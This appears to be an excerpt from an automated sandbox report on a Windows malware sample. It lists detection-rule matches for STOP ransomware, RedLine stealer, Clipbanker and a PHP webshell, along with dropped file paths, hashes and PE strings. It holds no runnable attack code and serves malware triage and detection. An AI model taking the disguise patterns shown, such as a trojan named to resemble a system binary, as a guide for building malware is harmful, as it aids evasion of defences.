Source: 00000010.00000002.373204030.00000000020F3000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000E.00000002.564552396.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000E.00000002.564552396.0000000000EE1000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000005.00000003.362157229.0000000003060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000005.00000003.362157229.0000000003060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000011.00000000.365343536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000011.00000000.365343536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000011.00000000.365343536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000003.00000002.318350093.00000000020FB000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000000.317037787.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000005.00000000.317037787.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000005.00000000.317037787.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000011.00000000.363751420.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000000.322395529.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000006.00000000.322395529.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000000.322395529.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000005.00000000.313991274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000000.323671151.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000006.00000000.323671151.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000000.323671151.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000011.00000000.366169302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000011.00000000.366169302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000011.00000000.366169302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000003.00000002.318481347.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000000.346399832.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000009.00000000.346399832.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000009.00000000.346399832.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000010.00000002.378615646.0000000002230000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000002.353616538.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000009.00000002.353616538.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000009.00000002.353616538.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000000.303182079.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000001.00000000.303182079.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000001.00000000.303182079.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000000.302301176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000001.00000000.302301176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000001.00000000.302301176.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000011.00000000.364114264.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000011.00000000.364114264.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000011.00000000.364114264.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: U59WtZz2Sg.exe PID: 5228, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: U59WtZz2Sg.exe PID: 3692, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: U59WtZz2Sg.exe PID: 1272, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: U59WtZz2Sg.exe PID: 3184, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: U59WtZz2Sg.exe PID: 6132, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\flapper.gif, type: DROPPED	Matched rule: SUSP_GIF_Anomalies date = 2020-07-02, author = Florian Roth, description = Detects files with GIF headers and format anomalies - which means that this image could be an obfuscated file of a different type, score = https://en.wikipedia.org/wiki/GIF
Source: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ScreenshotOptIn.gif, type: DROPPED	Matched rule: SUSP_GIF_Anomalies date = 2020-07-02, author = Florian Roth, description = Detects files with GIF headers and format anomalies - which means that this image could be an obfuscated file of a different type, score = https://en.wikipedia.org/wiki/GIF
Source: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\AutoPlayOptIn.gif, type: DROPPED	Matched rule: SUSP_GIF_Anomalies date = 2020-07-02, author = Florian Roth, description = Detects files with GIF headers and format anomalies - which means that this image could be an obfuscated file of a different type, score = https://en.wikipedia.org/wiki/GIF
Source: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\flapper.gif, type: DROPPED	Matched rule: SUSP_GIF_Anomalies date = 2020-07-02, author = Florian Roth, description = Detects files with GIF headers and format anomalies - which means that this image could be an obfuscated file of a different type, score = https://en.wikipedia.org/wiki/GIF
Source: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\OneDrive.adml, type: DROPPED	Matched rule: webshell_php_dynamic_big date = 2021/02/07, author = Arnim Rupp, description = PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, score = , license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, modified = 2022-08-19
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\build3[1].exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\build3[1].exe, type: DROPPED	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09

Source: C:\Windows\System32\wbem\WMIADAP.exe

File created: C:\Windows\system32\wbem\Performance\WmiApRpl_new.h

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: String function: 004065D4 appears 31 times
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: String function: 0042F7C0 appears 56 times
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: String function: 0044F23E appears 44 times
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: String function: 00428520 appears 57 times
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: String function: 004547A0 appears 31 times

Source: U59WtZz2Sg.exe	Static PE information: Resource name: RT_VERSION type: x86 executable not stripped
Source: build2[1].exe.5.dr	Static PE information: Resource name: RT_VERSION type: x86 executable not stripped

Source: U59WtZz2Sg.exe, 00000005.00000003.462575287.0000000000610000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFileSync.LocalizedResources.dll.mui.MUIF vs U59WtZz2Sg.exe
Source: U59WtZz2Sg.exe, 00000005.00000003.445860097.0000000003060000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFileSync.LocalizedResources.dll.mui.MUIF vs U59WtZz2Sg.exe
Source: U59WtZz2Sg.exe, 00000005.00000003.461142803.0000000000610000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFileSync.LocalizedResources.dll.mui.MUIF vs U59WtZz2Sg.exe
Source: U59WtZz2Sg.exe, 00000005.00000003.460215496.0000000000610000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFileSync.LocalizedResources.dll.mui.MUIF vs U59WtZz2Sg.exe
Source: U59WtZz2Sg.exe, 00000005.00000003.450591507.0000000000610000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsipc.dll.muiB vs U59WtZz2Sg.exe
Source: U59WtZz2Sg.exe, 00000005.00000003.463172633.0000000000610000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFileSync.LocalizedResources.dll.mui.MUIF vs U59WtZz2Sg.exe
Source: U59WtZz2Sg.exe, 00000005.00000003.378308612.0000000003077000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameDismHost.exej% vs U59WtZz2Sg.exe
